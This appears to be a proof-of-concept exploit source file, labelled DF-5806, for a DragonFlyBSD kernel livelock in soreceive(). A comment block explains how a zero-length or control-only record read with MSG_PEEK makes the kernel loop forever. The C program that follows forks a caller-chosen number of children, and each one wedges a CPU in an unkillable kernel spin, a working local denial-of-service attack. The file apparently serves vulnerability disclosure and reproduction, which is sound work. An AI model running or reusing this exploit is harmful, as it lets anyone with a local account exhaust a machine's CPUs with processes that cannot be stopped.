DF-5806 / peekspin.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-5806 - DragonFlyBSD sys/kern/uipc_socket.c soreceive() livelock * * A receive-queue record that delivers zero bytes to the reader (a * zero-length datagram, or a control-only record with zero-length data) * combined with recv(2)/recvfrom(2) with MSG_PEEK drives soreceive() * into a zero-progress `goto restart` loop that never sleeps and never * returns: * * sys/kern/uipc_socket.c:1596-1600 * if (orig_resid == resid && orig_resid && * (flags & MSG_EOR) == 0 && (so->so_state & SS_CANTRCVMORE) == 0) { * ssb_unlock(&so->so_rcv); * goto restart; * } * * MSG_PEEK consumes nothing, so orig_resid == resid on every iteration * and the loop spins forever holding the so_rcv token. The thread never * sleeps, so it cannot be killed (kill -9 is ineffective) and each such * thread burns one CPU permanently. * * variant 0: AF_UNIX SOCK_STREAM + control-only (SCM_RIGHTS) record * [control mbuf][0-length data mbuf]; cc=24 >= lowat(1), so the * head-of-queue blocking check at 1340-1346 does not block. * variant 1: AF_UNIX SOCK_SEQPACKET + zero-length datagram; PR_ATOMIC * makes the blocking condition at 1340-1346 always false, so a * 0-byte record with cc==0 also reaches the spin. * * usage: peekspin <variant> <nchildren> * children wedge CPUs; parent prints and exits so the caller can * observe the unkillable children. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static void wedge(int variant) { int sv[2]; char buf[64]; if (variant == 0) { char cbuf[CMSG_SPACE(sizeof(int))]; struct msghdr mh; struct iovec iov; char scratch; struct cmsghdr *cm; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); _exit(1); } memset(&mh, 0, sizeof(mh)); memset(cbuf, 0, sizeof(cbuf)); iov.iov_base = &scratch; iov.iov_len = 0; /* zero-length data */ mh.msg_iov = &iov; mh.msg_iovlen = 1; mh.msg_control = cbuf; mh.msg_controllen = sizeof(cbuf); cm = CMSG_FIRSTHDR(&mh); cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; cm->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(cm) = sv[0]; /* pass any fd */ if (sendmsg(sv[0], &mh, 0) < 0) { perror("sendmsg"); _exit(1); } } else { if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, sv) < 0) { perror("socketpair"); _exit(1); } if (send(sv[0], "", 0, 0) < 0) { perror("send"); _exit(1); } } /* * Never returns: soreceive() spins on `goto restart` in kernel mode. */ recv(sv[1], buf, sizeof(buf), MSG_PEEK); _exit(0); /* NOT REACHED */ } int main(int argc, char **argv) { int variant = (argc > 1) ? atoi(argv[1]) : 0; int nchild = (argc > 2) ? atoi(argv[2]) : 1; int i; for (i = 0; i < nchild; i++) { pid_t pid = fork(); if (pid < 0) { perror("fork"); _exit(1); } if (pid == 0) wedge(variant); } printf("spawned %d spinner(s), variant %d\n", nchild, variant); fflush(stdout); return (0); } |